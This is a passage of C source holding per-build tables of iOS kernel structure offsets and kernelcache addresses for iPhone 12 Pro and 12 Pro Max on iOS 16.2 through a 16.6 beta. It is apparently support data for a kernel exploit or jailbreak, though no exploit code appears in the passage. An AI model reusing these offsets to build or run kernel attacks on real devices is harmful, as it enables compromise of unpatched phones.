\"iPhone13,3\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x630,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a3b1190,\n        .kernelcache__gPhysBase = 0xfffffff0078500c8,\n        .kernelcache__gPhysSize = 0xfffffff0078500c8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00784e2a8,\n        .kernelcache__perfmon_devices = 0xfffffff00a3ec3b0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed41c4,\n        .kernelcache__ptov_table = 0xfffffff007803378,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3eb800,\n        .kernelcache__vm_pages = 0xfffffff007800090,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007802328,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3eb7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f26780,\n    },\n  // iOS 16.3 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:52 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8101\",\n        .build_version = \"20D47\",\n        .device_id = \"iPhone13,3\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x630,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a3b1190,\n        .kernelcache__gPhysBase = 0xfffffff00784c1b0,\n        .kernelcache__gPhysSize = 0xfffffff00784c1b0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00784a390,\n        .kernelcache__perfmon_devices = 0xfffffff00a3ec3b0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed00f4,\n        .kernelcache__ptov_table = 0xfffffff0077ff3b8,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3eb800,\n        .kernelcache__vm_pages = 0xfffffff0077fc0d0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077fe368,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3eb7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f226a0,\n    },\n  // iOS 16.3.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:52 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8101\",\n        .build_version = \"20D67\",\n        .device_id = \"iPhone13,3\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x630,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a3b1190,\n        .kernelcache__gPhysBase = 0xfffffff00784c1b0,\n        .kernelcache__gPhysSize = 0xfffffff00784c1b0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00784a390,\n        .kernelcache__perfmon_devices = 0xfffffff00a3ec3b0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed00f4,\n        .kernelcache__ptov_table = 0xfffffff0077ff3b8,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3eb800,\n        .kernelcache__vm_pages = 0xfffffff0077fc0d0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077fe368,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3eb7f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f226a0,\n    },\n  // iOS 16.4 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:59 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8101\",\n        .build_version = \"20E247\",\n        .device_id = \"iPhone13,3\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a491208,\n        .kernelcache__gPhysBase = 0xfffffff00792bfc0,\n        .kernelcache__gPhysSize = 0xfffffff00792bfc0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792a198,\n        .kernelcache__perfmon_devices = 0xfffffff00a4cf520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ef064c,\n        .kernelcache__ptov_table = 0xfffffff0078df188,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4ce990,\n        .kernelcache__vm_pages = 0xfffffff0078dbeb8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078de128,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4ce988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3f538,\n    },\n  // iOS 16.4.1 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:59 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8101\",\n        .build_version = \"20E252\",\n        .device_id = \"iPhone13,3\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a491208,\n        .kernelcache__gPhysBase = 0xfffffff00792bfc0,\n        .kernelcache__gPhysSize = 0xfffffff00792bfc0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792a198,\n        .kernelcache__perfmon_devices = 0xfffffff00a4cf520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ef064c,\n        .kernelcache__ptov_table = 0xfffffff0078df188,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4ce990,\n        .kernelcache__vm_pages = 0xfffffff0078dbeb8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078de128,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4ce988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3f538,\n    },\n  // iOS 16.5\n    {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:08:42 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8101\",\n        .build_version = \"20F66\",\n        .device_id = \"iPhone13,3\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a49d288,\n        .kernelcache__gPhysBase = 0xfffffff007930100,\n        .kernelcache__gPhysSize = 0xfffffff007930100 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792e2d8,\n        .kernelcache__perfmon_devices = 0xfffffff00a4db520,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ef484c,\n        .kernelcache__ptov_table = 0xfffffff0078e3188,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4da990,\n        .kernelcache__vm_pages = 0xfffffff0078dfeb8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e2128,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4da988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f439d0,\n    },\n\n    // iOS 16.6 beta 1 //\n        {\n        .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:36 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8101\",\n        .build_version = \"20G5026e\",\n        .device_id = \"iPhone13,3\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x58,\n        .task__threads__prev = 0x60,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x360,\n        .thread__task_threads__prev = 0x368,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x410,\n        .thread__object_size = 0x4b8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x0 + 0x10, //0x8\n        ._vm_map__hdr__links__next = 0x8 + 0x10, //0x10\n        ._vm_map__hdr__links__start = 0x10 + 0x10, //0x18\n        ._vm_map__hdr__links__end = 0x18 + 0x10, //0x20\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x98,\n        ._vm_map__hole_hint = 0xa0,\n        ._vm_map__holes_list = 0xa8,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a545ab0,\n        .kernelcache__gPhysBase = 0xfffffff0079442a8,\n        .kernelcache__gPhysSize = 0xfffffff0079442b0, //79442B0\n        .kernelcache__gVirtBase = 0xfffffff007942460,\n        .kernelcache__perfmon_devices = 0xfffffff00a585550,\n        .kernelcache__perfmon_dev_open = 0xfffffff007f1508c,\n        .kernelcache__ptov_table = 0xfffffff0078f79c8,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a584910,\n        .kernelcache__vm_pages = 0xfffffff0078f4108,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078f6968,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a584908,\n        .kernelcache__vn_kqfilter = 0xfffffff007f63be0,\n    },\n\n // End iPhone 12 Pro //\n // Start iPhone 12 Pro Max //\n  // iOS 16.2 //\n    {\n        .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:55 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8101\",\n        .build_version = \"20C65\",\n        .device_id = \"iPhone13,4\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x630,\n        .thread__task_threads__next = 0x378 - 0x18,\n        .thread__task_threads__prev = 0x378 - 0x18 + 0x8,\n        .thread__map = 0x378,\n        .thread__thread_id = 0x418,\n        .thread__object_size = 0x4c0,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 